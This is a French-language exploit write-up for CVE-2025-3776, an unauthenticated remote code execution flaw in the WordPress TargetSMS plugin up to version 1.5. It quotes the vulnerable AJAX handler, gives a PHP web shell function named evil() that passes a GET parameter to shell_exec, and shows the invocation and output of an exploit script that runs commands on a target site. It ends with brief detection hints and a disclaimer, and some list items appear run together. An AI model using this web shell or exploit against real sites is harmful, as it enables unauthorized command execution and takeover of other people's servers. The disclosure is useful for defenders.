
WordPress Verification SMS with TargetSMS Plugin <= 1.5 est vulnérable à l'exécution de code à distance (RCE)
La vulnérabilité provient de l'utilisation de call_user_func() sur une entrée contrôlée par l'utilisateur sans assainissement par rapport à une liste blanche de fonctions autorisées. Cela crée une faille logique où n'importe quelle fonction PHP existante en mémoire peut être exécutée sans authentification, conduisant à une condition sévère d'exécution de code à distance (RCE).
Fichier : /inc/ajax.php
add_action('wp_ajax_nopriv_targetvrHHndler', 'targetvr_ajax_handler');
function targetvr_ajax_handler(){
$callback = targetvr_get_postData('callback', 'string');
if ($callback and function_exists($callback)){
call_user_func($callback);
} else {
targetvr_return_json(false);
}
wp_die();
}
Ce code permet à des utilisateurs non authentifiés de déclencher n'importe quelle fonction présente en mémoire, y compris des fonctions malveillantes si l'attaquant parvient à les charger.
Pour exploiter cette vulnérabilité avec succès, une fonction appelable doit déjà exister dans l'environnement WordPress. Comme les plugins et thèmes WordPress peuvent charger automatiquement des fonctions, l'attaquant peut injecter sa propre fonction via le fichier functions.php du thème actif.
target.com/wp-content/themes/twentytwentyfour/functions.php
functions.php :function evil() {
if (isset($_GET['cmd'])) {
echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';
} else {
echo '<pre>' . shell_exec("whoami") . '</pre>';
}
exit;
}
✅ Cela garantit que la fonction
evil()est chargée en mémoire et devient exécutable viacall_user_func().
python3 CVE-2025-3776.py -u http://target.com -c "id"
[*] Checking plugin version...
[+] Plugin version detected: 1.5
[+] Plugin is vulnerable. Proceeding with exploitation...
[*] Sending exploit request...
[+] Exploit succeeded!
<pre>uid=1(daemon) gid=1(daemon) groups=1(daemon)</pre>
Exploit By : Nxploited ( Khaled Alenazi )
usage: CVE-2025-3776.py [-h] -u URL [-c CMD]
CVE-2025-3776 Exploit for TargetSMS Plugin <= 1.5
# Exploit by Nxploited ( Khaled Alenazi )
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL
-c, --cmd CMD Command to execute (default: whoami)
Si aucune fonction evil() ou similaire n'est disponible en mémoire :
{"status":false}
functions.php du thème actif (comme démontré).evil().Une fois qu'une fonction malveillante est chargée, un attaquant non authentifié peut :
Recherchez des requêtes POST répétées vers :
/wp-admin/admin-ajax.php?action=targetvrHHndler
Avec callback=evil ou tout autre nom de fonction inattendu
Ces informations sont fournies à des fins éducatives et de recherche éthique uniquement. L'auteur n'est pas responsable de tout usage abusif ou dommage causé par l'utilisation de ces informations.
Exploit par : Nxploited (Khaled Alenazi)